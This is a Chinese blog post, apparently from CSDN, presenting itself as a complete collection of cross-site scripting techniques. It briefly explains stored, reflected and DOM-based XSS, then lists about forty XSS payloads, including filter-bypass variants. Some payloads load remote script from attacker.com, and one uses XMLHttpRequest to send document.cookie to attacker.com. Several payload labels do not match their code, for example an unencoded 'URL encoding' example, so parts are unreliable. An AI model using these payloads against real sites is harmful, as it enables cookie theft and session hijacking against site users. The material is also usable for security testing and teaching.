xss跨站脚本攻击姿势大全

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过在受信任的网站上注入恶意脚本代码,然后使用户在浏览器中执行这些恶意代码,从而实现攻击目的。XSS 攻击通常发生在使用不安全的输入验证和输出编码的 Web 应用程序上。

XSS 攻击可分为三种主要类型

存储型 XSS(Stored XSS):攻击者将恶意脚本代码存储到目标网站的服务器上,然后当其他用户访问包含恶意代码的页面时,恶意代码会被执行。这种攻击常见于用户留言板、论坛、博客等需要持久存储用户输入的网站。例如,攻击者在一个论坛的评论中插入恶意脚本,当其他用户查看该评论时,恶意脚本会在他们的浏览器中执行。

反射型 XSS(Reflected XSS):攻击者构造包含恶意脚本的链接,并诱使用户点击该链接。当用户点击链接后,恶意脚本会被发送到目标网站的服务器上,并在服务器的响应中返回给用户的浏览器,进而被执行。这种攻击常见于通过 URL 参数传递用户输入的场景。例如,攻击者构造一个恶意链接,其中包含恶意脚本,当用户点击该链接时,恶意脚本会在他们的浏览器中执行。

DOM 型 XSS(DOM-based XSS):这种类型的 XSS 攻击不涉及向服务器发送恶意脚本,而是利用 JavaScript 在客户端修改页面的 DOM 结构,从而执行恶意操作。攻击利用了客户端代码对 URL 参数或其他用户可控数据的直接操作。例如,一个网站使用 JavaScript 获取 URL 参数并直接插入到页面中,如果没有进行适当的过滤和编码,攻击者可以通过构造恶意 URL 参数来执行恶意操作。

下面是各种不同类型的payload
基本的

<script>alert('XSS')</script>

使用 HTML 注释绕过:

<!--><script>alert('XSS')</script>-->

使用 JavaScript 事件处理程序:

<img src="x" onerror="alert('XSS')">

使用 JavaScript URL 伪协议:

<a href="javascript:alert('XSS')">Click Me</a>

使用 javascript: URL 伪协议:

<a href="javascript:alert('XSS')">Click Me</a>

使用内联 JavaScript 代码:

<a href="javascript:void(0)" onclick="alert('XSS')">Click Me</a>

使用 HTML 实体编码:

<script>alert(&#x27;XSS&#x27;)</script>

利用 img 标签的 onerror 事件:

<img src="invalid" onerror="alert('XSS')">

使用 SVG 图像:

<svg/onload=alert('XSS')>

利用 CSS 表达式:

<div style="background-image: expression(alert('XSS'));">

使用特殊字符编码绕过过滤:

<script>alert(String.fromCharCode(88,83,83))</script>

利用 document.write():

<script>document.write('XSS')</script>

使用 eval() 函数执行恶意代码:

<script>eval('alert("XSS")')</script>

利用 URL 编码绕过过滤:

<script>alert(/XSS/)</script>

使用 JavaScript 注释绕过过滤:

<script>//alert('XSS')</script>

利用 iframe 进行攻击:

<iframe src="javascript:alert('XSS')"></iframe>

使用远程脚本文件:

<script src="http://attacker.com/malicious.js"></script>

利用 标签的 onload 事件:

<img src="valid" onload="alert('XSS')">

利用 或 标签:

<audio src="javascript:alert('XSS')"></audio>
<video src="javascript:alert('XSS')"></video>

利用 JSONP:

<script src="http://attacker.com/endpoint?callback=alert"></script>

使用 标签:

<marquee onstart="alert('XSS')">Hover Me</marquee>

使用 标签的 onchange 事件:

<input type="text" onchange="alert('XSS')">

使用 onmouseover 事件:

<div onmouseover="alert('XSS')">Hover Me</div>

利用 window.location 进行重定向:

<script>location.href='http://attacker.com';</script>

利用 document.cookie 获取用户 Cookie 信息:

<script>alert(document.cookie)</script>

使用 localStorage 或 sessionStorage 存储恶意数据:

<script>localStorage.setItem('data', 'malicious')</script>

利用 XMLHttpRequest 发送数据:

<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://attacker.com/?data=' + document.cookie, true);
  xhr.send();
</script>

利用 onload 事件进行重定向:

<script>
window.onload = function() {
  window.location.href = 'http://attacker.com';
};
</script>

利用 onsubmit 事件修改表单数据:

<form action="/" onsubmit="document.getElementById('password').value = 'malicious'">
  <input type="password" id="password">
  <input type="submit" value="Submit">
</form>

利用 标签的 onkeyup 事件:

<input type="text" onkeyup="alert('XSS')">

利用 标签的 javascript: URL:

<a href="javascript:window.location='http://attacker.com'">Click Me</a>

利用 标签:

<textarea autofocus onfocus="alert('XSS')">Hover Me</textarea>

利用特殊标签属性:

<div id="xss" data-attr="javascript:alert('XSS')"></div>
<script>document.getElementById('xss').dataset.attr</script>

利用 innerHTML 修改页面内容:

<script>document.body.innerHTML = 'XSS'</script>

利用 setTimeout() 函数执行恶意操作:

<script>
setTimeout(function() {
  alert('XSS');
}, 1000);
</script>

利用 或 标签:

<object data="javascript:alert('XSS')"></object>
<embed src="javascript:alert('XSS')"></embed>

利用 Flash 对象:

<embed src="xss.swf">

使用 HTML5 的 postMessage() 方法:

<script>
window.postMessage('malicious', '*');
</script>

利用 CSS 中的 url() 函数执行恶意操作:

<style>
div {
  background-image: url(javascript:alert('XSS'));
}
</style>
<div></div>

利用 onhashchange 事件:

<script>
window.onhashchange = function() {
  alert('XSS');
};
</script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值